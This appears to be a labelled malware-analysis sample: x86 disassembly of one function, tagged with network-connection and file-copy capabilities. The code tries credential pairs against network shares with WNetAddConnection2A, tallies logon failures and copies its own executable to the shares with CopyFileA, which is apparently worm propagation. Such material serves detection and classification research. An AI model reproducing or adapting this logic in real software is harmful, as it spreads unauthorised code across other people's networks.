Function at 0x40a060
Capabilities:
Connect network resource
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00404654
xor eax, eax
push ebp
push 0x40a2f9
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push dword [eax + 0x14]
push 0x40a314
push dword [ebp - 8]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404524
mov dword [ebp - 0x3c], 1
xor eax, eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 8]
call fcn.00404664
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
call fcn.00404464
push eax
mov eax, dword [ebp - 0x14]
call fcn.00404664
push eax
push 0
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
call fcn.00409e04
test eax, eax
je 0x40a109
mov ax, 3
mov word [ebp - 0xe], 3
jmp 0x40a111
xor eax, eax
mov word [ebp - 0xe], 0
movzx eax, ax
test eax, eax
jl 0x40a2ce
inc eax
mov dword [ebp - 0x18], eax
mov eax, 0x40b144
mov dword [ebp - 0x20], eax
movzx eax, word [ebp - 0xe]
test eax, eax
jl 0x40a2c1
inc eax
mov dword [ebp - 0x1c], eax
mov edi, 0x40b134
push 0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
call fcn.00404664
push eax
mov eax, dword [edi]
call fcn.00404664
push eax
lea eax, [ebp - 0x40]
push eax
call sub.mpr.dll_WNetAddConnection2A
mov edx, eax
sub edx, 5
je 0x40a171
sub edx, 0x51
je 0x40a17b
sub edx, 0x4d8
je 0x40a185
jmp 0x40a18d
mov edx, dword [0x40b168]
inc dword [edx]
jmp 0x40a18d
mov edx, dword [0x40b15c]
inc dword [edx]
jmp 0x40a18d
mov edx, dword [0x40b174]
inc dword [edx]
test eax, eax
jne 0x40a2b5
mov esi, 4
mov ebx, 0x40b124
lea eax, [ebp - 0x44]
mov edx, dword [ebp - 0x2c]
call fcn.004043d4
lea eax, [ebp - 0x44]
mov edx, dword [ebx]
call fcn.0040446c
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 4]
call fcn.00409dd8
test eax, eax
je 0x40a294
push 0
push dword [ebp - 8]
push dword [ebx]
mov eax, dword [0x40b184]
push dword [eax]
lea eax, [ebp - 0x48]
mov edx, 3
call fcn.00404524
mov eax, dword [ebp - 0x48]
call fcn.00404664
push eax
lea edx, [ebp - 0x4c]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x4c]
call fcn.00404664
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x40a28d
mov eax, dword [0x40b178]
inc dword [eax]
mov eax, dword [0x40b18c]
cmp dword [eax], 0
jne 0x40a257
push 0x40a320
mov eax, dword [0x40b160]
mov eax, dword [eax]
push dword [eax + 0x14]
push 0x40a334
mov eax, dword [ebp - 4]
push dword [eax + 0x14]
push 0x40a350
lea eax, [ebp - 0x50]
mov edx, 5
call fcn.00404524
mov edx, dword [ebp - 0x50]
mov eax, dword [0x40b160]
mov eax, dword [eax]
call fcn.00405298
call fcn.00409e04
test eax, eax
je 0x40a284
push dword [ebp - 8]
push dword [ebx]
mov eax, dword [0x40b184]
push dword [eax]
lea eax, [ebp - 0x54]
mov edx, 3
call fcn.00404524
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 4]
call fcn.00409e30
mov dword [ebp - 0xc], 0xffffffff
jmp 0x40a294
mov eax, dword [0x40b170]
inc dword [eax]
add ebx, 4
dec esi
jne 0x40a19f
mov ebx, 0x15
push 0xffffffffffffffff
mov eax, dword [ebp - 0x2c]
push eax
call sub.mpr.dll_WNetCancelConnectionA
test eax, eax
je 0x40a2b5
dec ebx
jne 0x40a2a3
add edi, 4
dec dword [ebp - 0x1c]
jne 0x40a13d
add dword [ebp - 0x20], 4
dec dword [ebp - 0x18]
jne 0x40a128
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a300
lea eax, [ebp - 0x54]
mov edx, 5
call fcn.00404210
lea eax, [ebp - 0x14]
call fcn.004041ec
lea eax, [ebp - 8]
call fcn.004041ec
ret